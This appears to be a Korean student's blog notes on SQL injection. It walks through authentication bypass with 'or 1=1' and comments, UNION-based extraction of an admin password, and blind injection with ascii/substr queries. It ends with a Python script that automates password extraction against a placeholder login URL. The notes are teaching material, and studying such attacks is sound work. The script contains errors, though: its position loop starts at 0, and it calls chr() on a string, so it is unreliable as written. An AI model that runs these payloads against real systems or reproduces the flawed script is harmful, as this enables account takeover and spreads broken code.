본문 바로가기

KERT/HackHeat

SQL Injection

SQL Injection

DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 것

*SQL이란? DBMS 에 데이터를 질의하는 쿼리 언어

Ex) 로그인 기능을 위한 쿼리

DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회

SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
더보기

- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정

이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있습니다.

이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 합니다. 

EX) SQL Injection으로 조작한 쿼리

DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회

SELECT * FROM accounts WHERE user_id='admin'

 

더보기

- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정

인증 우회

user_pw 조건문이 없도록 조작된 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환한다.

예제1) 모든 이용자의 uid 를 가져오기

  1. uid 값에 1이라는 임의의 값을 넣고, 따옴표를 추가하여 입력값을 닫아준다.
  2. or 1=1로 인해 조건문이 항상 참을 만족한다.
  3. 주석(# 또는 --)으로 쿼리문을 끝내어 upw 비교를 하지 않게 된다.

모든 이용자의 Uid 가 보이게 된다.

예제2) admin의 upw를 알아내는 공격 쿼리문

- 예제1 에서 출력되는 컬럼은 uid 하나 뿐이지만, upw 라는 컬럼이 테이블에 있다는 것을 알고 있다면,

- 쿼리문 두개를 이용한 UNION SQL Injection 를 시도한다.

 

Union SQL Injection

  • 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 이라는 SQL 연산자를 이용한 SQL 인젝션 공격
  • 쿼리문 두 개의 컬럼 개수가 같아야 한다. (UNION을 하기 위한 조건)
    • ex) SELECT `id`, `password` from table UNION SELECT `email` FROM table WHERE `id`='1'
    • 쿼리문1은 두 개의 컬럼 요청, 쿼리문2는 한 개의 컬럼 요청 => 오류

그렇다면 Select * from user_table 이라는 쿼리문을 추가하여, 테이블에 있는 컬럼 개수를 찾아내보자.

모든 이용자의 uid가 나온다.

근데 Select * 을 하면 upw 컬럼도 같이 떠야되는 거 아닌가?

흠 일단 해봤다

SELECT uid FROM user_table WHERE uid='' UNION SELECT upw FROM user_table WHERE uid='admin' -- and...
  1. 첫 번째 쿼리문은 필요없으니 uid의 따옴표를 그냥 닫아주고,
  2. UNION을 추가 후
  3. admin의 upw를 가져오는 두 번째 쿼리문을 추가한다.
  4. 주석 처리로 나머지 쿼리를 무시한다.

ui 만들 때 upw 컬럼을 까먹었나?

Blind SQL Injection

참/거짓 반환 결과로 데이터를 획득하는 공격 기법

# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
  • ascii : 전달된 문자를 아스키 형태로 반환
    • ex) ascii('a') = 97
  • substr(string, position, length)
    • ex) substr('ABCD', 1, 1) = 'A'
    • ex) substr('ABCD', 2, 3) = 'BCD'

Blind SQL Injection 공격 스크립트

- 한 바이트 씩 알아내는데 시간이 오래 걸림 ->격을 자동화하는 스크립트를 작성한다

- 공격 스크립트를 작성하는데 유용한 라이브러리로, 파이썬의 HTTP 통신을 위한 requests 모듈 이 있다.

  • 스크립트를 작성하기 전에, 이용자가 입력할 수 있는 모든 문자의 아스키 범위를 지정해야 한다.
  • 비밀번호: 알파벳, 숫자, 특수 문자로 이루어짐
    • 아스키 범위: 32~126
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")
  1. 비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고,
  2. 한 바이트씩 모든 문자를 비교하는 반복문을 작성합니다.
  3. 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 "Login success" 문자열을 찾고,
  4. 해당 결과를 반환한 문자를 password 변수에 저장합니다.
  5. 반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있습니다. 

키워드

  • SQL injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점
  • Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL injection 공격 기법

 

'KERT > HackHeat' 카테고리의 다른 글

NoSQL Injection  (0) 2023.07.27
NoSQL 개념과 MongoDB 기본 문법  (0) 2023.07.26
DBMS  (0) 2023.07.21
ClientSide: XSS  (0) 2023.07.16
Cookie & Session  (0) 2023.07.16